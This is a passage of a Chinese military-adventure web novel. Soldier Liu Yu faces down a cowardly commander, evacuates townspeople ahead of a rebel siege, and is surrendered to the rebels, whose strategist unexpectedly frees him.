柳羽一拔剑，刘季，李晟，王五，四十六名叛军精锐，瞬间拔剑。 两伙人马刀剑相向，直接展开对视。 这一幕的出现，让刘总旗颇有点不敢相信。 他扭头看向柳羽，怎么也没想到，柳羽区区一个小旗，敢对着他拔剑。 刘总旗语气微冷道： “你朝我拔剑？以下犯上？” “战时以下犯上，我有权就地将你格杀！” 柳羽冷笑： “那刘总旗大可以动手试试看。” “我答应，你看看我这些弟兄们答应不答应。” 刘总旗冷哼一声，直接朝着刘季李晟，以及四十六名叛军精锐怒吼道： “你们是想干嘛，想跟着他造反吗？” “把刀都给我收起来，我命令你们，把刀都给我收起来！” 然而，任凭刘总旗怎么嘶吼，柳羽这边的人，都岿然不动。 纷纷用杀人般的眼神，紧紧盯着刘总旗。 仿佛只要柳羽一声令下，他们就会立马动手。 刘总旗知道，武总旗的兵他没资格也没权利指挥。 但一群大头兵，敢不把他放眼里，对他拔刀相向，属实是令他气愤。 第一百三十一章 软脚虾 刘总旗扭头，眼神阴冷地朝柳羽看过来： “你这四五十人，我一声令下，当场就得全部死光。” “而且哪怕我就算都杀了，你们以下犯上在先，闹到朝廷上去，你们武总旗也拿我没办法。” “我最后再说一遍，把刀都给我收回去！” 柳羽轻笑。 如果刘总旗真有底气，就不至于对自己说这话了。 明显是看出了，所有人都是听自己指挥的。 这才出言威胁自己。 轻笑过后，柳羽将幽泉剑入鞘，笑着朝李晟等人道： “收刀。” 等李晟等人收刀入鞘，柳羽却是话锋一转： “都听好了，让你们收刀，不是让你们束手就擒。刘总旗的手下再敢抢粮，直接砍，砍死一个算一个。” “今晚月黑风高，叛军有可能攻城，他刘总旗不怕内斗导致城被叛军轻易攻破，咱们也不怕。” 柳羽顿了顿，笑盈盈地盯着刘总旗的双眸。 “反正头掉了碗大个疤。刘总旗的家人也在城里呢。咱人少打不过刘总旗兵多，那就跑去灭刘总旗全家呗。” 刘总旗眼睛瞪得像铜铃，死死瞪着柳羽。 愤怒的同时，更是不敢相信，柳羽一个小旗胆子能大到这个地步，敢说出这种话来。 就算自己现在不敢真动手。 他就不怕自己堂堂一个总旗，跟他秋后算账吗？ 柳羽又不是吓大的。 说这种话什么后果，柳羽知道，但绝对不怕。 眼见刘总旗既不说话，也没了动作。 柳羽直接抬手： “把粮运回护卫营仓库！” “我看谁敢动！”刘总旗怒声大喝。 然而，李晟等人根本不鸟他。 尤其是李晟，一脚踹翻挡住路前的后卫营士兵。 朝着拉粮车的叛军精锐招手： “走！” 这一幕的发生，刘总旗手下士兵气得咬牙切齿。 纷纷朝刘总旗请命： “总旗，下令动手吧！总旗，干他丫的！” 柳羽眼神紧盯着刘总旗，左手握着幽泉剑剑鞘，右手握着幽泉剑剑柄。 已经算好了，自己跟刘总旗就三十步距离。 他敢下令动手，自己就立马冲过去砍了他。 穿着朝廷专门为总旗打造的盔甲又如何。 你宝甲硬，吾宝剑也未尝不利！ 但可惜的是，就像此前，柳羽对王县令的评价一样。 一个喜欢耍官威的人，终究只敢窝里横，只敢对自己控制得了的人耍脾气。 对上外人，对上敢于反抗他的人。 软脚虾的本性，立马就会暴露无遗。 当初的王县令是这样，如今的刘总旗，亦是如此。 感应到柳羽这边浓厚且坚定的杀意，刘总旗哪怕是气得牙痒痒，也丝毫不敢下令动手。 只能眼睁睁看着李晟等人，拉着四架牛车走远。 但让人感到可笑的是。 刘总旗明明软弱，却偏偏要做出一副很强硬的样子。 李晟等人都把车拉远了，刘总旗才看着柳羽冷哼道： “哼，念在我跟你们武总旗关系好的份上，放你们一马。再有下次，定斩不饶！” 听到这话，柳羽差点没乐得笑出声来。 不过知道，刘总旗这样说，是想自己找个台阶下。 柳羽也不想激化矛盾，皮笑肉不笑地朝刘总旗抱拳： “刘总旗大义，柳羽代武总旗，在此谢过了！” 说罢，柳羽转头就走。 任凭后方，刘总旗气得疯狂磨牙。 刘季一直搁柳羽身边守护着，一直等到众人转过一个弯，走上另外一条街后。 刘季才猛然松了口大气，抬手去抹额头上的冷汗： “要老命了，柳哥，你这也太生猛了。刘总旗城下近百号人，城墙上还有几十号弓弩手。” “这要是真动起手来，兄弟们怕是一个都活不了。” “而且，这总旗生气时的威压，也太恐怖了。” 柳羽无语。 这个时代的人，就是太迷恋权威，太顺从权威了。 一群屁能力没有的贪官，骑着平民百姓头上拉屎，都没几个人敢反抗。 就刘总旗那样的人，刘季居然说他有威压。 柳羽是真的有点无法理解。 “你之前不还说，要找机会捅他一刀吗？” 刘季挠头： “他不当人，我当然想捅他了。但一想到武总旗的恐怖，再想到他也是总旗，我就忍不住双腿发软。” 柳羽轻笑： “你们呀，就是光看表面，谁块头大，表情凶狠，你们就怕谁。” “这是要不得滴，再说了，武总旗哪儿凶狠了？” “他那满脸络腮胡，跟狮子头似的，你不觉得很滑稽吗？” 刘季眼睛瞪大。 狮子头？ 滑稽？ 也就您胆子大，敢这样形容武总旗了。 柳羽这样说话，刘季根本不敢接茬。 生怕这话要是让武总旗听了去，会活剥了自己一层皮。 四大车用布覆盖，伪装成粮草的财宝。 柳羽照旧，让李晟他们，把财宝藏进了王员外府邸。 王员外妻儿逃难去了，自己死了。 他的家空无一人，现在不会来人，以后更不可能来人。 无疑是最好的藏匿地点。 财宝藏好后，已经夜深了。 柳羽让李晟点了一盏烛灯，把所有人汇聚到一块。 今夜叛军可能攻城，而柳羽还把四十六名叛军精锐，带进了城。 要是这些叛军，不听柳羽指挥，跟外面的叛军来个里应外合。 别说临县城会沦陷，柳羽自己都得危险。 为此，柳羽特意把他们汇聚起来，目光看向所有人道： “兄弟们，我知道大家这些天忙碌，也累了，但咱们现在还不能休息。今夜叛军可能攻城，诸位兄弟又都是从叛军中来的。” “我不知道众兄弟中，有多少人想跟外面叛军里应外合，又有多少人愿意听我的。” “我只想说一句，城内的百姓是无辜的。” 柳羽眼神真挚，言语诚恳道： “诸位，其他不管怎么样，我只想恳请大家帮我个忙，帮我转移城内的百姓。” “无论今夜会发生什么，无论诸位待会儿会干什么。只要城内百姓安全，我绝不阻拦。” 柳羽话音刚落。 叛军队伍中，之前受过柳羽恩惠的周华，立马开口： “柳哥，你这话就见外了。” “柳哥知道我们是叛军，还把我们带进城，说明柳哥拿我们当兄弟，信任兄弟们。所以今晚无论叛军攻不攻城，我周华都只听柳哥的，柳哥让干什么，我就干什么。” “若违背此话，我周华天打雷劈，不得好死！” 第一百三十二章 兄弟 随着周华这话出口。 在场叛军无不是收过柳羽的金子，受过柳羽的恩惠。 纷纷附和道： “没错，别的不敢保证，至少今天我只听柳哥的！” “柳哥，兄弟们不是忘恩负义的人，你说做啥，我们就做啥！” “对，都听柳哥的，谁敢乱来我砍谁！” 直到听到这话，柳羽才勉强放心。 临县城城防空虚，是柳羽一手导致的。 一旦叛军真攻进城，大肆屠戮百姓。 柳羽就算有办法逃脱律法的责罚，也躲避不了良心上的谴责。 刘总旗跟他的人，能不能守住城柳羽不管。 柳羽只想保证城内百姓的安全。 短暂犹豫后，柳羽立即将目光看向李晟： “晟子，临县城地图有吗？” 李晟连忙点头，将地图取出来递给柳羽。 柳羽一边查看地图，一边询问道： “城内还有多少百姓，清楚吗？” 李晟点头： “之前王县令在的时候，临县戒严，城中每家每户都登记过的。” “大户人家，应该有个七八十户，三四百人。” “平民家庭的话，应该也剩一二百户，五六百人。” 柳羽摆手： “先强制撤平民，大户家提一嘴，愿意跟我们走的就走，不愿意的自生自灭。” 临县四面环山，城墙上，就一前一后两道城门。 前门地势开阔。 后面则是直通临县城后方的松阳山。 松阳山高几千米，一路上各处都是悬崖峭壁。 上山的窄路，又是两米包夹的大峡谷。 撤离平民，往松阳山上撤，无疑是最好的选择。 只是从地图上看，令柳羽错愕的是，松阳山上有建过预防春季汛期山洪爆发，大水倒灌进城的水坝。 水坝这种东西。 在寻常时候，是利国利民的工程。 但到了战时，就是攻城利器。 之前叛军既然能安插探子进城，完全可以派一个小队前往松阳山。 破坏水坝，水淹临县城！ 虽然想从临县城外上到松阳山，要绕几百里的山路，从城内走，又十分容易暴露。 但水淹临县，一旦成功，叛军必定可以在几天内，攻下临县。 让柳羽意外的是，叛军里的玉军师，好像从来都没有考虑过这一点。 不过不重要了，她考不考虑是他的事。 在确定完撤离路线后，柳羽当即抬头看向李晟： “你带上所有人，挨家挨户去找，把城里百姓都汇聚到后门去。” “刘季王五留下。” 李晟点了点头起身，立刻带着四十六名叛军精锐，去城中汇聚平民。 在李晟走后不久，柳羽却是将目光看向王五跟刘季。 手指地图，柳羽淡淡道： “叛军就算攻下临县城，也不可能在临县城久待。” “一旦城外两个总旗带兵回来，它们就被包饺子了。” “所以我认为，叛军的目标，仅以下几点。” 柳羽说着，竖起一根手指： “一：此前被抓的萧寒衣，是叛军统领萧天元老爸，叛军一定会去县衙大牢救他。” “二：都护府官兵被截杀，我把锅甩叛军头上，叛军就算不杀我，也一定想把我抓住控制起来，无论是跟朝廷谈判还是怎么着，都有个退路。” “三：临县粮草匮乏，叛军粮草必不可能多，他们会在城内劫掠，县衙仓库，几个卫所营仓库，是劫掠的重点。” “四：叛军武器都很一般，城内卫所营的武器库，无论是抢了带走，还是放把火烧掉，对叛军来说都是好事。” 柳羽淡淡道： “目前我就想到了这几点，叛军是否还有其他目标，要之后再看。” “现在我要说的是，谁都可以撤离，我不行。” 柳羽的声音很平静，就仿佛别人的命都是命，他的命一文不值一般。 在柳羽看来，叛军的目标可能是自己，自己跟着一起撤离，叛军有追来的风险。 其次，柳羽手下帮着撤离的人，大部分是被柳羽收买的叛军精锐。 有没有二心不重要，重要的是，绝不能让玉军师，跟这四十六名叛军精锐联系上。 玉军师联系不上，这四十六名叛军精锐，就是柳羽的兵。 联系上了，可就不好说了。 为此，柳羽的打算是。 让李晟刘季王五三人，指挥四十六名叛军精锐，从后门出城，自松阳山撤离。 而柳羽自己留在城内应付叛军。 别的柳羽不敢保证。 柳羽能保证的是，只要自己留在城内，撤离的兄弟跟百姓，就一定不会出事。 至于自己有没有可能，被叛军杀了泄愤。 柳羽不在乎。 当大哥的，就该有第一个去死的觉悟。 柳羽的花说得很清楚，刘季跟王五，听得也很清楚。 刘季第一个反对道： “不行！绝对不行！” “柳哥，兄弟们跟着你出生入死，咱们拜过把子的！” “你觉得我可能留你一个人在城里，自己跑去苟且偷生吗？” 柳羽眼神瞬间冰冷。 抬手，一巴掌抽在刘季脸上： “闭嘴！” “你要还认我这个大哥，就听从安排。” 刘季堂堂七尺男儿汉，眼泪顿时就流了出来。 一脸委屈的看着柳羽： “那这话你为什么不敢跟李晟说，只敢跟我说？” “你不就是笃定了，李晟一定会死活不同意你一个人留下，所以才把李晟支开吗？” 李晟是死性子，把柳羽的命，看得比他自己的命都重要。 柳羽要干这么威胁的事，当然不敢跟李晟说。 只怕话还没说完，李晟就得急得跳脚，大喊老子也要留下。 因此，柳羽只能逮着好欺负的刘季欺负。 恶狠狠瞪着刘季道： “知道原因，就替我瞒着李晟，让他安安全全护送平民撤离。” “你要做不到，你这个兄弟，我柳羽不认！” 刘季委屈极了： “你，你这当大哥的，这么净逮着我个小的欺负！” “我干，干还不行吗，但我可跟你说好了。” “你要是死了，兄弟们反正也活不了，大不了跟叛军拼命，死了去地下找你，我看到了地下，你跟其他兄弟怎么交代！” 柳羽脸色铁青。 单独把刘季留下说这事，就是觉得这小子还算老实，能听自己的话。 没成想，居然拿这种话呛自己。 第一百三十三章 风雨欲来 柳羽强忍住，想踹刘季一脚的冲动： “放屁，乖乖听话，谁都不会死！” “老子说过要让你们个个都安全，老子就一定会做到。” 骂完刘季，柳羽目光看向王五： “王五，咱一个村出来的，我最信任的就是你。” “你在叛军心中有地位，四十六名叛军精锐，我不在，要靠你约束。” “怎么说，愿帮兄弟这一把吗？” 王五没有正面回答，只是认真的看着柳羽。 盯着神情严肃的柳羽看了许久，王五才幽幽开口： “柳秀才，我终于明白，你手下这区区几个人，为什么就敢跟着你一块，去截杀大几十人的都护府官兵了。” “你这个当大哥的够义气，难怪手下兄弟，愿意为你卖命。” 柳羽根本没心思听王五拍马屁。 只是再度询问道： “闲话少说，这个忙，帮还是不帮。” 王五郑重其事的点头： “帮。” “不过柳哥，这事结束后，我不想回叛军了。” “我可以…回你身边吗？” 柳羽没有丝毫犹豫的点头，大手拍在王五肩膀上： “在我心里，你从来都是兄弟。” 此话一出。 王五心头猛颤，脸上神情，五味杂陈。 柳羽则是当即给两人做出安排，要他们立即赶过去，跟李晟会合。 李晟作为总指挥，一旦叛军攻城，立刻带着平民撤往松阳山。 而撤离的过程中。 刘季负责稳住李晟，让李晟觉得，柳羽这个当大哥的很安全，随后便到。 王五负责稳住四十六名叛军，保证就算柳羽不在，这四十六名叛军精锐，也会乖乖听李晟的话。 柳羽这一系列安排，直接上了两道至关重要的安全锁。 保证自己的每一条指令，都能稳定地被手下兄弟执行。 在做完所有安排后，柳羽从腰间取下幽泉剑。 连着剑鞘，一块递交到刘季手上： “去吧，做你该做的事。” “明天天一亮，我上山接你们下山。” 刘季眼眸颤动。 心中万般不舍，更是万般的不相信。 你连自己的剑都给我了，你怎么活到明天，怎么上山接我？ 可事已至此，说再多都没有用了。 刘季深吸一口气，从柳羽手上接过幽泉剑，朝柳羽郑重点头： “大哥放心，你交代的事，兄弟一定办好！” 柳羽起身，一路将刘季王五两人送至门口。 看着他们的身影，在稀薄月光下逐渐走远，最终消失在街道深处。 再回头时，已经是乌云蔽月，夜色漆黑得伸手不见五指。 但夜色越黑，柳羽的神情就越发的坚定。 独自回到王员外府邸，关上大门，手拿一盏散发着微弱光芒的烛灯，走进堂屋。 堂屋内的檀木桌子上，没有别的东西。 仅一件黑色披风，一把玄铁弓，一个箭袋，一把折成两半的寒铁枪。 这玄铁弓跟寒铁枪。 还是在此前，柳羽刚来临县，帮着李晟破获王员外被叛军探子暗杀一案。 身上武器被叛军探子萧寒衣，用宝剑砍断。 李晟从武总旗家偷来，给柳羽的。 之前出城杀王员外，截杀都护府官兵，不能用自己的武器。 柳羽没把这两样东西戴上，得到后，基本就放在王员外府吃灰。 如今再拿起，却已经是物是人非。 往日兄弟不在，屋内仅剩柳羽一人。 深吸一口气，柳羽先拿起黑色披风，穿在身上。 随即，将玄铁弓跟装了三四十支箭矢的箭袋背在背后。 柳羽拿起两截寒铁枪，将两截合到一块。 神情凝重，出门翻墙走上街，快速朝着城门口靠过去。 …… 临县城外，与城门相隔两三千米的漆黑密林当中。 萧天元眼神冰冷： “军师，下令吧。” “夜深了，该让临县知道知道，我们天军的厉害了！” 玉军师却是栖身在两米多高的树上，轻笑着道： “不急，再等等，等变数消失。” 萧天元皱眉： “临县大部分士兵，都前往松阳栈道，调查都护府官兵被截杀一事了。” “如今临县城城防空虚，还能有什么变数？” 原本玉军师脸上还有笑容。 听到这话后，却是眸光微冷。 多少有点没好气道： “守城的刘总旗我认识，又怂又无能。” “现有确保，城里就他跟柳羽没出城，你说变数是谁？” 萧天元脸色瞬间难看。 玉军师却不依不饶道： “本来柳羽一个兵丁，构不成什么威胁。” “让你带五十叛军精锐去给他帮忙，五十人被他拐走了四十六个，还带走了小首领王五。” “以柳羽对叛军的了解，再加上他的头脑，你自己想想看，他要是心一狠夺了刘总的兵权，跟他对上后，我们这次攻城会有多艰难？” 萧天元咬牙切齿。 一想到柳羽那张脸，还有那张脸上又坏又贱的笑容。 他就恨不能把柳羽给千刀万剐了。 面对玉军师，萧天元不敢造次，更不敢表露出自己的怒意来。 强压怒意，艰难道： “那依军师之见，我们该当如何？” 玉军师轻笑： “关键点在于，现在临县守城的兵，是听柳羽的，还是听刘总旗的。” 说着，玉军师抬手一挥。 在她身后，三四百名叛军士兵，将一个个早已准备好的木头形状的粗制人偶，抱出了树林，立在树林外的空地上。 足足立了近千个木制人偶，玉军师才轻笑道： “想弄清楚这一点，一试便知。” “五个守城士兵是柳羽指挥，能谈则谈，谈不了老老实实撤兵。” “如果是刘总旗…哼哼。” …… 临县城内。 柳羽孤身一人，靠近了城门口。 过来的时候，柳羽隔着老远，就看到刘总旗守城的兵，在城门内大路上，生起了火堆东倒西歪坐地上，昏昏欲睡。 城楼下四五十名士兵，没一个在好好站岗。 柳羽再抬头朝城楼上看去。 城楼上几十名弓弩手，那是各个手里拿着酒壶，喝得五迷三道。 喝酒暖身子，身子是暖了，人却晕了。 几十个人，不是靠在城楼墙壁上睡觉。 就是搁上面，找了块木板，几个人围在一起玩牌抓阄。 玩得是不亦乐乎。 柳羽冷眼看着这一切，目光流转，找寻刘总旗的身影。 第一百三十四章 大军压境 正常来说。 在知道叛军可能攻城的情况下。 身为守城将领的刘总旗，也当在城门楼子里面，时刻待命。 柳羽在外面找寻一圈无果后，推开城门楼子的木门，朝里面看。 依旧没有找见刘总旗的身影。 城门楼子里面，只有三个刘总旗手下小旗，带着几名士兵。 一边喝酒，一边摇骰子。 几人都喝醉了，玩到兴头上，满嘴污秽之言。 全是在讨论，哪家勾栏点子正，够劲道。 他们讨论得起劲，柳羽搁门口站了好一会儿，都没一人发觉。 还是柳羽，冷着脸开口，才引起他们的注意。 “刘总旗呢？” 几个小旗扭头看过来。 因为先前抢粮没抢成，柳羽给了刘总旗气吃。 几个人对柳羽，没有一丁点的好脸色： “你特么的，还敢来，想找死是吧！” “刘总旗在哪儿用得着你管，滚犊子！” “趁着老子还没动手，赶紧滚边去！” 三名小旗异口同声，朝着柳羽破口大骂。 柳羽冷哼一声，果断摔门离开。 望着城门口的景象，柳羽觉得又好气，又好笑。 一支军队，想要有战斗力。 最重要的就是军纪严明。 刘总旗手下这群兵，纪律散漫，好赌成性，嗜酒成性。 别说叛军大军。 柳羽手上就算是只有五十人左右。 柳羽都有信心，从正面把刘总旗两三百人的后卫营给干趴下。 因为这样的队伍，根本就没有任何信念可言。 干死几十个人，吓住他们。 剩下的人，就一定会四散溃逃。 柳羽深吸一口气，知道这群人是没救了。 犹豫片刻后，柳羽看见一座，靠近城门口，废弃的三层酒楼。 酒楼店家应该是逃难去了。 楼里的装潢能窥见曾经的繁华。 不过如今，楼里陶瓷器具散落一地，柜台账本被随意翻找丢在一旁。 连大门都被拆了去。 应该是主人家走后，楼内被人洗劫过了。 这对柳羽来说正好，躲到酒楼三层去。 出事了，既不容易被找到，又可以时刻关注城门口的状况。 柳羽观察了一下四周，确定没人注意自己后，快步走进酒楼里。 找到楼梯，一路直上三楼，在三楼窗户边蹲伏好。 怀里面，睡了一天的小狼崽啸天，应该是饿了，嗷呜着醒了过来。 从柳羽衣领里探出头来，不停用舌头，舔柳羽脸颊。 柳羽抬手，轻轻拍了拍啸天脑袋： “忍一忍，等会儿就给你找吃的。” 话音刚落，柳羽就听到城门外，传来了响动。 城门外，玉军师派出了一个探子，孤身走到了距离临县城门，不到百米的距离。 落位后，探子朝着城内大喊： “城里的守军听着，你们已经被我天军包围了，不信，你们点起烽火朝城外看看！” 城墙上，东倒西歪熟睡的士兵听到声音，慌乱起身。 他们揉了揉眼睛，朝城外看去。 这才发现那名靠近城门不到百米的叛军探子。 但最令他们惊愕的，不是叛军探子在他们毫无察觉的情况下，就靠近了城门。 而是他们抬眼，朝着远处看去。 临县外面，站着密密麻麻，上千道人影。 夜色太黑，距离又太远，他们根本看不出，那是玉军师让人立的木质人偶。 真以为是叛军大军压境要攻城。 城门上一个后卫营小旗，连忙转身朝城内大吼： “快通知刘总旗，叛军攻城，叛军攻城！” 城里守军慌乱反应，用了好一会儿功夫，才分出一人，朝着刘总旗家的方向赶去。 柳羽搁暗处默默看着。 直到一炷香过后，刘总旗骑着马，从他家的方向赶过来。 柳羽从明白，原来这特么的守城降临，是在明知道今晚叛军可能攻城的情况下，跑回自己家搂着老婆睡大觉去了。 柳羽属实是被逗乐了。 外面叛军探子，跟隐藏起来的判军，更是一脸懵逼。 探子到城门口叫号，声音喊出来后，等了足足一炷香的时间，才等到城里人回应。 不知道的，还以为城里暗藏了什么杀机。 殊不知，都等着刘总旗他老人家，从家里床榻上下来呢。 刘总旗出门，连盔甲都没来得及穿好。 一路火急火燎赶到城门口，跌跌撞撞爬上城墙。 当看到城外密密麻麻的人影，差点没被当场吓尿。 不过身为总旗，刘总旗却还是强忍镇定。 冷眼朝城门外的叛军探子怒吼： “大胆叛军，竟赶围我临县！” “你们知不知道自己在干什么，你们觉得攻了我临县城，朝廷会放过你们吗？” 城外的叛军探子轻蔑一笑，淡淡道： “您应该就是刘总旗吧？” “我们玉军师，让我来给你带句话。” “玉军师说了，此次叛军攻城不为别的，只为一个名叫柳羽的人，他是武总旗手下的士兵。” “因此，只要临县交出柳羽，叛军立马撤军。” “交不出来，大军攻城，城破，城内一干人等，片甲不留！” 说罢，叛军探子转身就走。 他只是来传话的，没有任何必要，跟刘总旗斗什么嘴。 而当这个信息传递出来后，城内是一片慌乱。 刘总旗完全没有去想，叛军要柳羽干什么。 只是朝着他的手下大吼： “柳羽是谁？是不是那个小旗？” “他人呢，人在哪儿？” 城墙下面，一名小旗朝着上面的刘总旗大声道： “刚刚还见过，柳羽要找总旗你，他应该就在附近，没走远。” 刘总旗赶忙道： “没听见叛军要他吗，赶忙给我找，把他找出来！” 酒楼之上，柳羽神情颇为错愕： “叛军为了我攻城？咋滴，她玉军师就见我一面，就爱上我了？” “大军压境，只为把我掳走当她的压寨相公？” 柳羽整个人都是懵逼的。 按道理来说，叛军为了啥攻城，都不可能是专门为了自己攻城啊。 这玉军师搞这一出，是想干什么？ 柳羽思来想去，百思不得其解。 …… 临县城外，山林当中。 玉军师目光似笑非笑地朝萧天元看去： “你说，我们闹这一出，柳羽能想到，是因为我们忌惮是他在守城吗？” 萧天元抬手挠头： “军师不是说柳羽聪明吗，他应该，想得到吧？” 第一百三十五章 好言难劝该死的人 玉军师笑着摇头，多少有点没底气道： “以他兵丁的身份地位，加上我天军给他背了黑锅。” “他不应该觉得，天军围而不攻，是因为忌惮他。” “此次叫人，让临县把他交出来，正常情况下来说，他应该觉得我天军，只是单纯的恨他。” 萧天元愣了愣，完全弄不懂玉军师再说什么。 犹豫了半天，才小心翼翼问道： “那要是他想到了，我们是因为忌惮他，才不敢直接攻城的又如何？” 此话一出，玉军师眼眸瞬间低沉了下来。 沉着声音开口道： “那这个人就太可怕了，跟谁作对，都不要跟他作对。” “行了，临县这么久没动作，守城的大概率不是柳羽。” “各队人马，朝临县城抵进，等候命令准备动手！” …… 月影稀疏。 临县城内，没脑子的刘总旗，幻想着只要交出柳羽，叛军就真的会撤离，放弃攻城。 不想着怎么应对叛军攻城。 反而是派出全部人手，到处搜寻柳羽。 刘总旗在城墙上，急得大叫： “人呢，找到没有。” “赶紧找到，我好跟叛军谈判啊！” 城楼下面，刘总旗手下士兵沿着街道搜寻，每一个靠近城门的建筑物都没放过。 很快就有三四名士兵，走进了柳羽所在的酒楼。 听着楼下传来的脚步声。 柳羽暗骂一声傻叉，走到侧面窗户边，探出身前抓住上方屋檐，一个翻身直接爬上了楼顶。 坐在冰冷的屋顶上，柳羽听着屁股下传来的搜寻声。 皱紧了眉头，一头雾水： “不应该啊，玉军师攻城就攻城，专门找刘总旗，要我一个小人物干什么玩意？” “哥们儿要身份没什么，要地位没地位，一条烂命不足十两银子重。” “她总不至于觉得，我能命令城防士兵，是我在守城，因为忌惮，所以试探吧？” 想到这个可能性。 柳羽自己都觉得好笑。 且不说玉军师不知道自己已经成小旗了，就算知道，一个小旗，也不过是无足轻重的小人物。 哪有人会对一个小人物产生忌… 突然，柳羽眼神一凝： “不对，她会，她一定特么的会！” “草了，这傻呗玉军师，就是特娘的在忌惮老子！” 想到玉军师是个聪明人，柳羽瞬间反应了过来。 攻城这样紧要的时刻，玉军师如果不是忌惮自己，她不可能专程拿自己说事。 他就是在怕，城内守备空虚缺人才，而自己正好是个聪明人，有可能被破格提拔当守城将领！ 也就是说，自己露头，玉军师因为忌惮可能会不敢攻城。 自己不露头，她必定大胆攻城！ 明白过来后，柳羽连忙起身大吼： “别找了，我在这！” 柳羽从酒楼楼顶上站起身，朝着两三百米外，城墙上的刘总旗大声道： “你现在立马朝着城外叛军大喊，柳羽就在城内，等着她攻进来活捉。” “她有可能当场退兵！” 刘总旗嘴角抽搐： “什么玩意儿？” 随即，刘总旗眼神瞬间冰冷下来，手指柳羽： “原来特么躲屋顶，难怪找不到。” “多上几个人，把他给我捉住！” 说罢，刘总旗转头就朝着城外大喊，想跟叛军谈判。 柳羽人都麻了，连忙大声朝着刘总旗道： “按照我说的做，你还能活！” “特么的，老子是在救你，救你全家！” 刘总旗嗤笑一声，根本不理会柳羽。 自顾自朝着城外大喊道： “城外的诸位，按照正常情况来说，我临县，绝不可能像你叛军低头。” “但这个柳羽，目无王法，以下犯上！” “只要你们愿意退兵，我可以把他交给你们！” 就这耽搁一会儿的功夫。 玉军师在萧天元，跟一队十几人的叛军精锐护卫下。 已经来到了离城门不足五百米的地方。 听到刘总旗这话，玉军师乐了。 开怀大笑。 当即就朝着身边的萧天元，使了个眼色。 萧天元秒懂，当即朝着城内大喊： “无论你们是开城门，还是拿绳子把他从城墙上吊下来。” “人活着到，我天军自然撤军！” 刘总旗大笑。 城外那么多人影，粗略估计，都至少得上千人。 就两百多人守城，这城怎么着都是不可能守住的。 因为，哪怕叛军是在骗人，刘总旗也乐意一试。 酒楼屋顶上，柳羽已经彻底绝望。 好言难劝该死的东西。 面对城里，爬上楼顶来抓自己的士兵。 柳羽连反抗都懒得反抗。 任由刘总旗手下士兵，把自己五花大绑带下楼去。 柳羽被几个士兵一路扛着，扛到了城楼上。 刘总旗见到柳羽，格外的开心： “哈哈哈，别怪我哈，叛军这么多人，守城上肯定守不住的。” “所以，为了城内百姓士兵的安全，哪怕明知道叛军大概率是在骗人，我也得试一下啊。” “就是，哈哈哈，委屈你了。” 望着刘总旗开心的笑颜，柳羽幽幽长叹： “哎，谢谢关心，我真不一定会死。” “至于你，待会儿叛军进城把你抓了，会当着你面对你老婆小孩做什么，我就不知道了。” “或许今天晚上，我能看到目前犯夫这个词语，在我面前具象化展现。” 刘总旗眼神瞬间冰冷。 不由分说，抬起一拳砸在柳羽小腹上： “如果不是叛军说了要活的，你觉得我可能放你活着离开？” “哼哼，叛军指名道姓要你，你能活，老子跟你姓！” 说着，刘总旗大手一挥： “把他给我从城墙上吊下去！” 几名士兵合力，在柳羽身上绑上长绳。 把人放到城墙外后，通过绳子，一点点把柳羽放下了几丈高的城墙。 落地后，刘总旗还十分贴心的，把柳羽的武器扔了下来。 笑盈盈地朝着城外大吼： “人放下去了，自己取。” “希望你们，信守承诺！” 然而，根本没人鸟他。 只是有几名叛军士兵上前，扛起柳羽根他的武器，把人带到了玉军师面前。 叛军士兵把柳羽扔到雪地里。 柳羽自己艰难坐起来，目光看向玉军师，咧嘴一笑： “呵呵，借刀杀人，釜底抽薪，玉军师真是好手段！” 玉军师朝着柳羽微微一笑。 随即摆手： “砍了。” 第一百三十六章 最毒妇人心 玉军师说完，就将目光紧紧盯着柳羽，想要看着他露出惊恐失神，肝胆俱裂的害怕神色。 然而，却见柳羽脸上仍然带着笑意，比起刚才，甚至还带上了一丝讥讽。 这笑，瞬间就让玉军师面色阴沉。 “你不怕死？” 柳羽嗤笑一声，嘲弄道： “我要是不怕死，刚才在城里就拼命了，绝不会让姓刘的把我绑着交给你。” 玉军师显然没明白柳羽的意思，眉头皱起更深。 按照他的意思，正是因为怕死，才会被绑着出城？ 他是确定，陪着卫所营守城，比到我手里死得可能性更大？ 他就这么笃定，我不敢杀他？ 玉军师冷哼一声。 “你就这么确定，我不会杀你？” “你要杀我，就不会跟我说那么多。” 柳羽双手被缚在背后，想要挠挠被雪刺挠得有些发痒的脸都不行，只能用肩头蹭去脸上的雪，接着说道： “你无非是投鼠忌器，觉得我在城里，你的赢面更小。所以才要刘总旗把我交出来。” “而落到你们手里之后，只要我不逃走，活着的作用要远超一刀杀了。” 玉军师面色铁青。 她有些激恼。 不是因为柳羽看破了自己的想法，而是因为截止到目前为止，他始终都不知道柳羽的底气从何而来。 总不能仅仅是因为自己不太可能杀他，就心甘情愿被绑着吧？ “你能猜到我的想法，我并不稀奇。” 玉军师皱着眉头问道： “但你要知道，如果天军注定无法掌控你，那杀了你对天军或许也是最好的选择！” “所以你如果真的怕死，不妨说说，你到底还有什么谋划？” 玉军师冷眼看着柳羽，想要从他脸上看出哪怕一丝表情。 却见柳羽仍旧一副不急不恼的样子，小心翼翼地用肩头擦拭着脸上的雪说道： “你可以杀了我，但是我敢保证，杀了我之后，这场天军和朝廷之间的战争，只能以天军血战溃亡而结束。” “换句话说就是……” 柳羽说着，动作稍稍停了停，目光死死盯着玉军师。 “我，既是天军的退路！” 玉军师心头一沉。 柳羽的目光仿佛沉重的一击，猛然击溃了她的心理防线。 玉军师第一次察觉自己慌了。 从起事的那天起，天军确实就走上了一条不归路。 只有迎头前冲，击溃卫所营，进而击溃朝廷镇压的大军，再击溃整个大炎朝廷。 退路，从来都只有一个死字！ 柳羽，他一个小小的旗长，凭什么敢说，自己就是天军的退路？ 天军，难道真的还有退路？ “玉军师？” 萧天元见玉军师神色有些不对，连忙喊了一声。 玉军师闻言，这才反应过来，面色凝重地看了一眼萧天元，又看了看那些面带无畏的天军，长舒了一口气。 “柳羽，别怪我！” 说完，冲着萧天元做了一个手势。 萧天元看到玉军师的手势，当即抽出腰间佩剑，走到柳羽身后。 柳羽嗤笑一声，缓缓闭上眼睛。 随着一道寒芒闪过。 柳羽不痛不痒的，只觉得浑身轻松。 睁开眼睛一看。 萧天元确实是朝着自己砍了一剑。 不过砍的不是自己人，而是自己身上的绳子。 柳羽还没来得及反应，就被玉军师一把从地上搀扶了起来。 在柳羽一脸懵逼之中，玉军师手搭在柳羽肩膀上，朝着临县城怒吼： “你们好大的胆子，柳羽可是我的手足兄弟，挚爱亲朋！” “我天军此次来临县，就是为了请柳羽入我天军当统领的。” 